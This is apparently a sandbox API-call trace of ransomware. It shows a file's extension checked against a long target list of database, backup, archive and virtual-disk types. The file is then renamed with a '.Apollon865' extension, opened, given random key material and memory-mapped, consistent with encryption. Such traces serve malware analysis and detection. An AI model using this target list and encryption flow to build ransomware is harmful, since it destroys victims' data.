	[0088.886] lstrlenW (lpString="bak") returned 3
	[0088.886] lstrcmpiW (lpString1="ppt", lpString2="bak") returned 1
	[0088.886] lstrlenW (lpString="ba_") returned 3
	[0088.886] lstrcmpiW (lpString1="ppt", lpString2="ba_") returned 1
	[0088.886] lstrlenW (lpString="dbb") returned 3
	[0088.886] lstrcmpiW (lpString1="ppt", lpString2="dbb") returned 1
	[0088.886] lstrlenW (lpString="vmdk") returned 4
	[0088.886] lstrcmpiW (lpString1=".ppt", lpString2="vmdk") returned -1
	[0088.886] lstrlenW (lpString="rar") returned 3
	[0088.886] lstrcmpiW (lpString1="ppt", lpString2="rar") returned -1
	[0088.886] lstrlenW (lpString="zip") returned 3
	[0088.886] lstrcmpiW (lpString1="ppt", lpString2="zip") returned -1
	[0088.886] lstrlenW (lpString="tgz") returned 3
	[0088.886] lstrcmpiW (lpString1="ppt", lpString2="tgz") returned -1
	[0088.886] lstrlenW (lpString="vbox") returned 4
	[0088.886] lstrcmpiW (lpString1=".ppt", lpString2="vbox") returned -1
	[0088.886] lstrlenW (lpString="vdi") returned 3
	[0088.886] lstrcmpiW (lpString1="ppt", lpString2="vdi") returned -1
	[0088.886] lstrlenW (lpString="vhd") returned 3
	[0088.886] lstrcmpiW (lpString1="ppt", lpString2="vhd") returned -1
	[0088.886] lstrlenW (lpString="vhdx") returned 4
	[0088.887] lstrcmpiW (lpString1=".ppt", lpString2="vhdx") returned -1
	[0088.887] lstrlenW (lpString="avhd") returned 4
	[0088.887] lstrcmpiW (lpString1=".ppt", lpString2="avhd") returned -1
	[0088.887] lstrlenW (lpString="db") returned 2
	[0088.887] lstrcmpiW (lpString1="pt", lpString2="db") returned 1
	[0088.887] lstrlenW (lpString="db2") returned 3
	[0088.887] lstrcmpiW (lpString1="ppt", lpString2="db2") returned 1
	[0088.887] lstrlenW (lpString="db3") returned 3
	[0088.887] lstrcmpiW (lpString1="ppt", lpString2="db3") returned 1
	[0088.887] lstrlenW (lpString="dbf") returned 3
	[0088.887] lstrcmpiW (lpString1="ppt", lpString2="dbf") returned 1
	[0088.887] lstrlenW (lpString="mdf") returned 3
	[0088.887] lstrcmpiW (lpString1="ppt", lpString2="mdf") returned 1
	[0088.887] lstrlenW (lpString="mdb") returned 3
	[0088.887] lstrcmpiW (lpString1="ppt", lpString2="mdb") returned 1
	[0088.887] lstrlenW (lpString="sql") returned 3
	[0088.887] lstrcmpiW (lpString1="ppt", lpString2="sql") returned -1
	[0088.887] lstrlenW (lpString="sqlite") returned 6
	[0088.887] lstrcmpiW (lpString1="i9.ppt", lpString2="sqlite") returned -1
	[0088.887] lstrlenW (lpString="sqlite3") returned 7
	[0088.887] lstrcmpiW (lpString1="ji9.ppt", lpString2="sqlite3") returned -1
	[0088.887] lstrlenW (lpString="sqlitedb") returned 8
	[0088.887] lstrcmpiW (lpString1="uji9.ppt", lpString2="sqlitedb") returned 1
	[0088.887] lstrlenW (lpString="xml") returned 3
	[0088.887] lstrcmpiW (lpString1="ppt", lpString2="xml") returned -1
	[0088.887] lstrlenW (lpString="$er") returned 3
	[0088.887] lstrcmpiW (lpString1="ppt", lpString2="$er") returned 1
	[0088.887] lstrlenW (lpString="4dd") returned 3
	[0088.887] lstrcmpiW (lpString1="ppt", lpString2="4dd") returned 1
	[0088.887] lstrlenW (lpString="4dl") returned 3
	[0088.887] lstrcmpiW (lpString1="ppt", lpString2="4dl") returned 1
	[0088.887] lstrlenW (lpString="^^^") returned 3
	[0088.887] lstrcmpiW (lpString1="ppt", lpString2="^^^") returned 1
	[0088.887] lstrlenW (lpString="abs") returned 3
	[0088.887] lstrcmpiW (lpString1="ppt", lpString2="abs") returned 1
	[0088.887] lstrlenW (lpString="abx") returned 3
	[0088.887] lstrcmpiW (lpString1="ppt", lpString2="abx") returned 1
	[0088.887] lstrlenW (lpString="accdb") returned 5
	[0088.888] lstrcmpiW (lpString1="9.ppt", lpString2="accdb") returned -1
	[0088.888] lstrlenW (lpString="accdc") returned 5
	[0088.888] lstrcmpiW (lpString1="9.ppt", lpString2="accdc") returned -1
	[0088.888] lstrlenW (lpString="accde") returned 5
	[0088.888] lstrcmpiW (lpString1="9.ppt", lpString2="accde") returned -1
	[0088.888] lstrlenW (lpString="accdr") returned 5
	[0088.888] lstrcmpiW (lpString1="9.ppt", lpString2="accdr") returned -1
	[0088.888] lstrlenW (lpString="accdt") returned 5
	[0088.888] lstrcmpiW (lpString1="9.ppt", lpString2="accdt") returned -1
	[0088.888] lstrlenW (lpString="accdw") returned 5
	[0088.888] lstrcmpiW (lpString1="9.ppt", lpString2="accdw") returned -1
	[0088.888] lstrlenW (lpString="accft") returned 5
	[0088.888] lstrcmpiW (lpString1="9.ppt", lpString2="accft") returned -1
	[0088.888] lstrlenW (lpString="adb") returned 3
	[0088.888] lstrcmpiW (lpString1="ppt", lpString2="adb") returned 1
	[0088.888] lstrlenW (lpString="adb") returned 3
	[0088.888] lstrcmpiW (lpString1="ppt", lpString2="adb") returned 1
	[0088.888] lstrlenW (lpString="ade") returned 3
	[0088.888] lstrcmpiW (lpString1="ppt", lpString2="ade") returned 1
	[0088.888] lstrlenW (lpString="adf") returned 3
	[0088.888] lstrcmpiW (lpString1="ppt", lpString2="adf") returned 1
	[0088.888] lstrlenW (lpString="adn") returned 3
	[0088.888] lstrcmpiW (lpString1="ppt", lpString2="adn") returned 1
	[0088.888] lstrlenW (lpString="adp") returned 3
	[0088.888] lstrcmpiW (lpString1="ppt", lpString2="adp") returned 1
	[0088.888] lstrlenW (lpString="alf") returned 3
	[0088.888] lstrcmpiW (lpString1="ppt", lpString2="alf") returned 1
	[0088.888] lstrlenW (lpString="ask") returned 3
	[0088.888] lstrcmpiW (lpString1="ppt", lpString2="ask") returned 1
	[0088.888] lstrlenW (lpString="btr") returned 3
	[0088.888] lstrcmpiW (lpString1="ppt", lpString2="btr") returned 1
	[0088.888] lstrlenW (lpString="cat") returned 3
	[0088.888] lstrcmpiW (lpString1="ppt", lpString2="cat") returned 1
	[0088.888] lstrlenW (lpString="cdb") returned 3
	[0088.888] lstrcmpiW (lpString1="ppt", lpString2="cdb") returned 1
	[0088.888] lstrlenW (lpString="ckp") returned 3
	[0088.888] lstrcmpiW (lpString1="ppt", lpString2="ckp") returned 1
	[0088.888] lstrlenW (lpString="cma") returned 3
	[0088.889] lstrcmpiW (lpString1="ppt", lpString2="cma") returned 1
	[0088.889] lstrlenW (lpString="cpd") returned 3
	[0088.889] lstrcmpiW (lpString1="ppt", lpString2="cpd") returned 1
	[0088.889] lstrlenW (lpString="dacpac") returned 6
	[0088.889] lstrcmpiW (lpString1="i9.ppt", lpString2="dacpac") returned 1
	[0088.889] lstrlenW (lpString="dad") returned 3
	[0088.889] lstrcmpiW (lpString1="ppt", lpString2="dad") returned 1
	[0088.889] lstrlenW (lpString="dadiagrams") returned 10
	[0088.889] lstrcmpiW (lpString1="z2uji9.ppt", lpString2="dadiagrams") returned 1
	[0088.889] lstrlenW (lpString="daschema") returned 8
	[0088.889] lstrcmpiW (lpString1="uji9.ppt", lpString2="daschema") returned 1
	[0088.889] lstrlenW (lpString="db-journal") returned 10
	[0088.889] lstrcmpiW (lpString1="z2uji9.ppt", lpString2="db-journal") returned 1
	[0088.889] lstrlenW (lpString="db-shm") returned 6
	[0088.889] lstrcmpiW (lpString1="i9.ppt", lpString2="db-shm") returned 1
	[0088.889] lstrlenW (lpString="db-wal") returned 6
	[0088.889] lstrcmpiW (lpString1="i9.ppt", lpString2="db-wal") returned 1
	[0088.889] lstrlenW (lpString="dbc") returned 3
	[0088.889] lstrcmpiW (lpString1="ppt", lpString2="dbc") returned 1
	[0088.889] lstrlenW (lpString="dbs") returned 3
	[0088.889] lstrcmpiW (lpString1="ppt", lpString2="dbs") returned 1
	[0088.889] lstrlenW (lpString="dbt") returned 3
	[0088.889] lstrcmpiW (lpString1="ppt", lpString2="dbt") returned 1
	[0088.889] lstrlenW (lpString="dbv") returned 3
	[0088.889] lstrcmpiW (lpString1="ppt", lpString2="dbv") returned 1
	[0088.889] lstrlenW (lpString="dbx") returned 3
	[0088.889] lstrcmpiW (lpString1="ppt", lpString2="dbx") returned 1
	[0088.889] lstrlenW (lpString="dcb") returned 3
	[0088.889] lstrcmpiW (lpString1="ppt", lpString2="dcb") returned 1
	[0088.889] lstrlenW (lpString="dct") returned 3
	[0088.889] lstrcmpiW (lpString1="ppt", lpString2="dct") returned 1
	[0088.889] lstrlenW (lpString="dcx") returned 3
	[0088.889] lstrcmpiW (lpString1="ppt", lpString2="dcx") returned 1
	[0088.889] lstrlenW (lpString="ddl") returned 3
	[0088.889] lstrcmpiW (lpString1="ppt", lpString2="ddl") returned 1
	[0088.889] lstrlenW (lpString="dlis") returned 4
	[0088.889] lstrcmpiW (lpString1=".ppt", lpString2="dlis") returned -1
	[0088.890] lstrlenW (lpString="dp1") returned 3
	[0088.890] lstrcmpiW (lpString1="ppt", lpString2="dp1") returned 1
	[0088.890] lstrlenW (lpString="dqy") returned 3
	[0088.890] lstrcmpiW (lpString1="ppt", lpString2="dqy") returned 1
	[0088.890] lstrlenW (lpString="dsk") returned 3
	[0088.890] lstrcmpiW (lpString1="ppt", lpString2="dsk") returned 1
	[0088.890] lstrlenW (lpString="dsn") returned 3
	[0088.890] lstrcmpiW (lpString1="ppt", lpString2="dsn") returned 1
	[0088.890] lstrlenW (lpString="dtsx") returned 4
	[0088.890] lstrcmpiW (lpString1=".ppt", lpString2="dtsx") returned -1
	[0088.890] lstrlenW (lpString="dxl") returned 3
	[0088.890] lstrcmpiW (lpString1="ppt", lpString2="dxl") returned 1
	[0088.890] lstrlenW (lpString="eco") returned 3
	[0088.890] lstrcmpiW (lpString1="ppt", lpString2="eco") returned 1
	[0088.890] lstrlenW (lpString="ecx") returned 3
	[0088.890] lstrcmpiW (lpString1="ppt", lpString2="ecx") returned 1
	[0088.890] lstrlenW (lpString="edb") returned 3
	[0088.890] lstrcmpiW (lpString1="ppt", lpString2="edb") returned 1
	[0088.890] lstrlenW (lpString="epim") returned 4
	[0088.890] lstrcmpiW (lpString1=".ppt", lpString2="epim") returned -1
	[0088.890] lstrlenW (lpString="fcd") returned 3
	[0088.890] lstrcmpiW (lpString1="ppt", lpString2="fcd") returned 1
	[0088.890] lstrlenW (lpString="fdb") returned 3
	[0088.890] lstrcmpiW (lpString1="ppt", lpString2="fdb") returned 1
	[0088.890] lstrlenW (lpString="fic") returned 3
	[0088.890] lstrcmpiW (lpString1="ppt", lpString2="fic") returned 1
	[0088.890] lstrlenW (lpString="flexolibrary") returned 12
	[0088.890] lstrcmpiW (lpString1="P5z2uji9.ppt", lpString2="flexolibrary") returned 1
	[0088.890] lstrlenW (lpString="fm5") returned 3
	[0088.890] lstrcmpiW (lpString1="ppt", lpString2="fm5") returned 1
	[0088.890] lstrlenW (lpString="fmp") returned 3
	[0088.890] lstrcmpiW (lpString1="ppt", lpString2="fmp") returned 1
	[0088.890] lstrlenW (lpString="fmp12") returned 5
	[0088.890] lstrcmpiW (lpString1="9.ppt", lpString2="fmp12") returned -1
	[0088.890] lstrlenW (lpString="fmpsl") returned 5
	[0088.890] lstrcmpiW (lpString1="9.ppt", lpString2="fmpsl") returned -1
	[0088.890] lstrlenW (lpString="fol") returned 3
	[0088.890] lstrcmpiW (lpString1="ppt", lpString2="fol") returned 1
	[0088.891] lstrlenW (lpString="fp3") returned 3
	[0088.891] lstrcmpiW (lpString1="ppt", lpString2="fp3") returned 1
	[0088.891] lstrlenW (lpString="fp4") returned 3
	[0088.891] lstrcmpiW (lpString1="ppt", lpString2="fp4") returned 1
	[0088.891] lstrlenW (lpString="fp5") returned 3
	[0088.891] lstrcmpiW (lpString1="ppt", lpString2="fp5") returned 1
	[0088.891] lstrlenW (lpString="fp7") returned 3
	[0088.891] lstrcmpiW (lpString1="ppt", lpString2="fp7") returned 1
	[0088.891] lstrlenW (lpString="fpt") returned 3
	[0088.891] lstrcmpiW (lpString1="ppt", lpString2="fpt") returned 1
	[0088.891] lstrlenW (lpString="frm") returned 3
	[0088.891] lstrcmpiW (lpString1="ppt", lpString2="frm") returned 1
	[0088.891] lstrlenW (lpString="gdb") returned 3
	[0088.891] lstrcmpiW (lpString1="ppt", lpString2="gdb") returned 1
	[0088.891] lstrlenW (lpString="gdb") returned 3
	[0088.891] lstrcmpiW (lpString1="ppt", lpString2="gdb") returned 1
	[0088.891] lstrlenW (lpString="grdb") returned 4
	[0088.891] lstrcmpiW (lpString1=".ppt", lpString2="grdb") returned -1
	[0088.891] lstrlenW (lpString="gwi") returned 3
	[0088.891] lstrcmpiW (lpString1="ppt", lpString2="gwi") returned 1
	[0088.891] lstrlenW (lpString="hdb") returned 3
	[0088.891] lstrcmpiW (lpString1="ppt", lpString2="hdb") returned 1
	[0088.891] lstrlenW (lpString="his") returned 3
	[0088.891] lstrcmpiW (lpString1="ppt", lpString2="his") returned 1
	[0088.891] lstrlenW (lpString="ib") returned 2
	[0088.891] lstrcmpiW (lpString1="pt", lpString2="ib") returned 1
	[0088.891] lstrlenW (lpString="idb") returned 3
	[0088.891] lstrcmpiW (lpString1="ppt", lpString2="idb") returned 1
	[0088.891] lstrlenW (lpString="ihx") returned 3
	[0088.891] lstrcmpiW (lpString1="ppt", lpString2="ihx") returned 1
	[0088.892] lstrlenW (lpString="itdb") returned 4
	[0088.892] lstrcmpiW (lpString1=".ppt", lpString2="itdb") returned -1
	[0088.892] lstrlenW (lpString="itw") returned 3
	[0088.892] lstrcmpiW (lpString1="ppt", lpString2="itw") returned 1
	[0088.892] lstrlenW (lpString="jet") returned 3
	[0088.892] lstrcmpiW (lpString1="ppt", lpString2="jet") returned 1
	[0088.892] lstrlenW (lpString="jtx") returned 3
	[0088.892] lstrcmpiW (lpString1="ppt", lpString2="jtx") returned 1
	[0088.892] lstrlenW (lpString="kdb") returned 3
	[0088.892] lstrcmpiW (lpString1="ppt", lpString2="kdb") returned 1
	[0088.892] lstrlenW (lpString="kexi") returned 4
	[0088.892] lstrcmpiW (lpString1=".ppt", lpString2="kexi") returned -1
	[0088.892] lstrlenW (lpString="kexic") returned 5
	[0088.892] lstrcmpiW (lpString1="9.ppt", lpString2="kexic") returned -1
	[0088.892] lstrlenW (lpString="kexis") returned 5
	[0088.892] lstrcmpiW (lpString1="9.ppt", lpString2="kexis") returned -1
	[0088.892] lstrlenW (lpString="lgc") returned 3
	[0088.892] lstrcmpiW (lpString1="ppt", lpString2="lgc") returned 1
	[0088.892] lstrlenW (lpString="lwx") returned 3
	[0088.892] lstrcmpiW (lpString1="ppt", lpString2="lwx") returned 1
	[0088.892] lstrlenW (lpString="maf") returned 3
	[0088.892] lstrcmpiW (lpString1="ppt", lpString2="maf") returned 1
	[0088.892] lstrlenW (lpString="maq") returned 3
	[0088.892] lstrcmpiW (lpString1="ppt", lpString2="maq") returned 1
	[0088.892] lstrlenW (lpString="mar") returned 3
	[0088.892] lstrcmpiW (lpString1="ppt", lpString2="mar") returned 1
	[0088.892] lstrlenW (lpString="marshal") returned 7
	[0088.892] lstrcmpiW (lpString1="ji9.ppt", lpString2="marshal") returned -1
	[0088.892] lstrlenW (lpString="mas") returned 3
	[0088.892] lstrcmpiW (lpString1="ppt", lpString2="mas") returned 1
	[0088.892] lstrlenW (lpString="mav") returned 3
	[0088.892] lstrcmpiW (lpString1="ppt", lpString2="mav") returned 1
	[0088.892] lstrlenW (lpString="maw") returned 3
	[0088.893] lstrcmpiW (lpString1="ppt", lpString2="maw") returned 1
	[0088.893] lstrlenW (lpString="mdbhtml") returned 7
	[0088.893] lstrcmpiW (lpString1="ji9.ppt", lpString2="mdbhtml") returned -1
	[0088.893] lstrlenW (lpString="mdn") returned 3
	[0088.893] lstrcmpiW (lpString1="ppt", lpString2="mdn") returned 1
	[0088.893] lstrlenW (lpString="mdt") returned 3
	[0088.893] lstrcmpiW (lpString1="ppt", lpString2="mdt") returned 1
	[0088.893] lstrlenW (lpString="mfd") returned 3
	[0088.893] lstrcmpiW (lpString1="ppt", lpString2="mfd") returned 1
	[0088.893] lstrlenW (lpString="mpd") returned 3
	[0088.893] lstrcmpiW (lpString1="ppt", lpString2="mpd") returned 1
	[0088.893] lstrlenW (lpString="mrg") returned 3
	[0088.893] lstrcmpiW (lpString1="ppt", lpString2="mrg") returned 1
	[0088.893] lstrlenW (lpString="mud") returned 3
	[0088.893] lstrcmpiW (lpString1="ppt", lpString2="mud") returned 1
	[0088.893] lstrlenW (lpString="mwb") returned 3
	[0088.893] lstrcmpiW (lpString1="ppt", lpString2="mwb") returned 1
	[0088.893] lstrlenW (lpString="myd") returned 3
	[0088.893] lstrcmpiW (lpString1="ppt", lpString2="myd") returned 1
	[0088.893] lstrlenW (lpString="ndf") returned 3
	[0088.893] lstrcmpiW (lpString1="ppt", lpString2="ndf") returned 1
	[0088.893] lstrlenW (lpString="nnt") returned 3
	[0088.893] lstrcmpiW (lpString1="ppt", lpString2="nnt") returned 1
	[0088.893] lstrlenW (lpString="nrmlib") returned 6
	[0088.893] lstrcmpiW (lpString1="i9.ppt", lpString2="nrmlib") returned -1
	[0088.893] lstrlenW (lpString="ns2") returned 3
	[0088.893] lstrcmpiW (lpString1="ppt", lpString2="ns2") returned 1
	[0088.893] lstrlenW (lpString="ns3") returned 3
	[0088.893] lstrcmpiW (lpString1="ppt", lpString2="ns3") returned 1
	[0088.893] lstrlenW (lpString="ns4") returned 3
	[0088.893] lstrcmpiW (lpString1="ppt", lpString2="ns4") returned 1
	[0088.893] lstrlenW (lpString="nsf") returned 3
	[0088.893] lstrcmpiW (lpString1="ppt", lpString2="nsf") returned 1
	[0088.893] lstrlenW (lpString="nv") returned 2
	[0088.893] lstrcmpiW (lpString1="pt", lpString2="nv") returned 1
	[0088.893] lstrlenW (lpString="nv2") returned 3
	[0088.893] lstrcmpiW (lpString1="ppt", lpString2="nv2") returned 1
	[0088.894] lstrlenW (lpString="nwdb") returned 4
	[0088.894] lstrcmpiW (lpString1=".ppt", lpString2="nwdb") returned -1
	[0088.894] lstrlenW (lpString="nyf") returned 3
	[0088.894] lstrcmpiW (lpString1="ppt", lpString2="nyf") returned 1
	[0088.894] lstrlenW (lpString="odb") returned 3
	[0088.894] lstrcmpiW (lpString1="ppt", lpString2="odb") returned 1
	[0088.894] lstrlenW (lpString="odb") returned 3
	[0088.894] lstrcmpiW (lpString1="ppt", lpString2="odb") returned 1
	[0088.894] lstrlenW (lpString="oqy") returned 3
	[0088.894] lstrcmpiW (lpString1="ppt", lpString2="oqy") returned 1
	[0088.894] lstrlenW (lpString="ora") returned 3
	[0088.894] lstrcmpiW (lpString1="ppt", lpString2="ora") returned 1
	[0088.894] lstrlenW (lpString="orx") returned 3
	[0088.894] lstrcmpiW (lpString1="ppt", lpString2="orx") returned 1
	[0088.894] lstrlenW (lpString="owc") returned 3
	[0088.894] lstrcmpiW (lpString1="ppt", lpString2="owc") returned 1
	[0088.894] lstrlenW (lpString="p96") returned 3
	[0088.894] lstrcmpiW (lpString1="ppt", lpString2="p96") returned 1
	[0088.894] lstrlenW (lpString="p97") returned 3
	[0088.894] lstrcmpiW (lpString1="ppt", lpString2="p97") returned 1
	[0088.894] lstrlenW (lpString="pan") returned 3
	[0088.894] lstrcmpiW (lpString1="ppt", lpString2="pan") returned 1
	[0088.894] lstrlenW (lpString="pdb") returned 3
	[0088.894] lstrcmpiW (lpString1="ppt", lpString2="pdb") returned 1
	[0088.894] lstrlenW (lpString="pdm") returned 3
	[0088.894] lstrcmpiW (lpString1="ppt", lpString2="pdm") returned 1
	[0088.894] lstrlenW (lpString="pnz") returned 3
	[0088.894] lstrcmpiW (lpString1="ppt", lpString2="pnz") returned 1
	[0088.894] lstrlenW (lpString="qry") returned 3
	[0088.894] lstrcmpiW (lpString1="ppt", lpString2="qry") returned -1
	[0088.894] lstrlenW (lpString="qvd") returned 3
	[0088.894] lstrcmpiW (lpString1="ppt", lpString2="qvd") returned -1
	[0088.894] lstrlenW (lpString="rbf") returned 3
	[0088.894] lstrcmpiW (lpString1="ppt", lpString2="rbf") returned -1
	[0088.894] lstrlenW (lpString="rctd") returned 4
	[0088.894] lstrcmpiW (lpString1=".ppt", lpString2="rctd") returned -1
	[0088.894] lstrlenW (lpString="rod") returned 3
	[0088.894] lstrcmpiW (lpString1="ppt", lpString2="rod") returned -1
	[0088.895] lstrlenW (lpString="rodx") returned 4
	[0088.895] lstrcmpiW (lpString1=".ppt", lpString2="rodx") returned -1
	[0088.895] lstrlenW (lpString="rpd") returned 3
	[0088.895] lstrcmpiW (lpString1="ppt", lpString2="rpd") returned -1
	[0088.895] lstrlenW (lpString="rsd") returned 3
	[0088.895] lstrcmpiW (lpString1="ppt", lpString2="rsd") returned -1
	[0088.895] lstrlenW (lpString="sas7bdat") returned 8
	[0088.895] lstrcmpiW (lpString1="uji9.ppt", lpString2="sas7bdat") returned 1
	[0088.895] lstrlenW (lpString="sbf") returned 3
	[0088.895] lstrcmpiW (lpString1="ppt", lpString2="sbf") returned -1
	[0088.895] lstrlenW (lpString="scx") returned 3
	[0088.895] lstrcmpiW (lpString1="ppt", lpString2="scx") returned -1
	[0088.895] lstrlenW (lpString="sdb") returned 3
	[0088.895] lstrcmpiW (lpString1="ppt", lpString2="sdb") returned -1
	[0088.895] lstrlenW (lpString="sdc") returned 3
	[0088.895] lstrcmpiW (lpString1="ppt", lpString2="sdc") returned -1
	[0088.895] lstrlenW (lpString="sdf") returned 3
	[0088.895] lstrcmpiW (lpString1="ppt", lpString2="sdf") returned -1
	[0088.895] lstrlenW (lpString="sis") returned 3
	[0088.895] lstrcmpiW (lpString1="ppt", lpString2="sis") returned -1
	[0088.895] lstrlenW (lpString="spq") returned 3
	[0088.895] lstrcmpiW (lpString1="ppt", lpString2="spq") returned -1
	[0088.895] lstrlenW (lpString="te") returned 2
	[0088.895] lstrcmpiW (lpString1="pt", lpString2="te") returned -1
	[0088.895] lstrlenW (lpString="teacher") returned 7
	[0088.895] lstrcmpiW (lpString1="ji9.ppt", lpString2="teacher") returned -1
	[0088.895] lstrlenW (lpString="tmd") returned 3
	[0088.895] lstrcmpiW (lpString1="ppt", lpString2="tmd") returned -1
	[0088.895] lstrlenW (lpString="tps") returned 3
	[0088.895] lstrcmpiW (lpString1="ppt", lpString2="tps") returned -1
	[0088.895] lstrlenW (lpString="trc") returned 3
	[0088.895] lstrcmpiW (lpString1="ppt", lpString2="trc") returned -1
	[0088.895] lstrlenW (lpString="trc") returned 3
	[0088.895] lstrcmpiW (lpString1="ppt", lpString2="trc") returned -1
	[0088.895] lstrlenW (lpString="trm") returned 3
	[0088.895] lstrcmpiW (lpString1="ppt", lpString2="trm") returned -1
	[0088.895] lstrlenW (lpString="udb") returned 3
	[0088.895] lstrcmpiW (lpString1="ppt", lpString2="udb") returned -1
	[0088.896] lstrlenW (lpString="udl") returned 3
	[0088.896] lstrcmpiW (lpString1="ppt", lpString2="udl") returned -1
	[0088.896] lstrlenW (lpString="usr") returned 3
	[0088.896] lstrcmpiW (lpString1="ppt", lpString2="usr") returned -1
	[0088.896] lstrlenW (lpString="v12") returned 3
	[0088.896] lstrcmpiW (lpString1="ppt", lpString2="v12") returned -1
	[0088.896] lstrlenW (lpString="vis") returned 3
	[0088.896] lstrcmpiW (lpString1="ppt", lpString2="vis") returned -1
	[0088.896] lstrlenW (lpString="vpd") returned 3
	[0088.896] lstrcmpiW (lpString1="ppt", lpString2="vpd") returned -1
	[0088.896] lstrlenW (lpString="vvv") returned 3
	[0088.896] lstrcmpiW (lpString1="ppt", lpString2="vvv") returned -1
	[0088.896] lstrlenW (lpString="wdb") returned 3
	[0088.896] lstrcmpiW (lpString1="ppt", lpString2="wdb") returned -1
	[0088.896] lstrlenW (lpString="wmdb") returned 4
	[0088.896] lstrcmpiW (lpString1=".ppt", lpString2="wmdb") returned -1
	[0088.896] lstrlenW (lpString="wrk") returned 3
	[0088.896] lstrcmpiW (lpString1="ppt", lpString2="wrk") returned -1
	[0088.896] lstrlenW (lpString="xdb") returned 3
	[0088.896] lstrcmpiW (lpString1="ppt", lpString2="xdb") returned -1
	[0088.896] lstrlenW (lpString="xld") returned 3
	[0088.896] lstrcmpiW (lpString1="ppt", lpString2="xld") returned -1
	[0088.896] lstrlenW (lpString="xmlff") returned 5
	[0088.896] lstrcmpiW (lpString1="9.ppt", lpString2="xmlff") returned -1
	[0088.896] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\4iPcCnFP5z2uji9.ppt.Apollon865") returned 70
	[0088.896] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\4iPcCnFP5z2uji9.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\4ipccnfp5z2uji9.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\4iPcCnFP5z2uji9.ppt.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\4ipccnfp5z2uji9.ppt.apollon865"), dwFlags=0x1) returned 1
	[0088.898] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\4iPcCnFP5z2uji9.ppt.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\4ipccnfp5z2uji9.ppt.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0088.899] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=6815) returned 1
	[0088.899] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0088.899] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0088.899] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0088.899] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0088.900] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0088.900] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.901] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1da0, lpName=0x0) returned 0x15c
	[0088.901] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1da0) returned 0x100000
	[0088.901] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0088.902] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0088.902] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.902] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0088.903] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0088.903] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0088.903] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0088.903] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0088.903] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0088.903] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0088.903] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0088.903] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0088.903] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0088.903] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0088.903] CloseHandle (hObject=0x15c) returned 1
	[0088.903] CloseHandle (hObject=0x9c) returned 1
	[0088.905] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0088.905] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0088.905] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
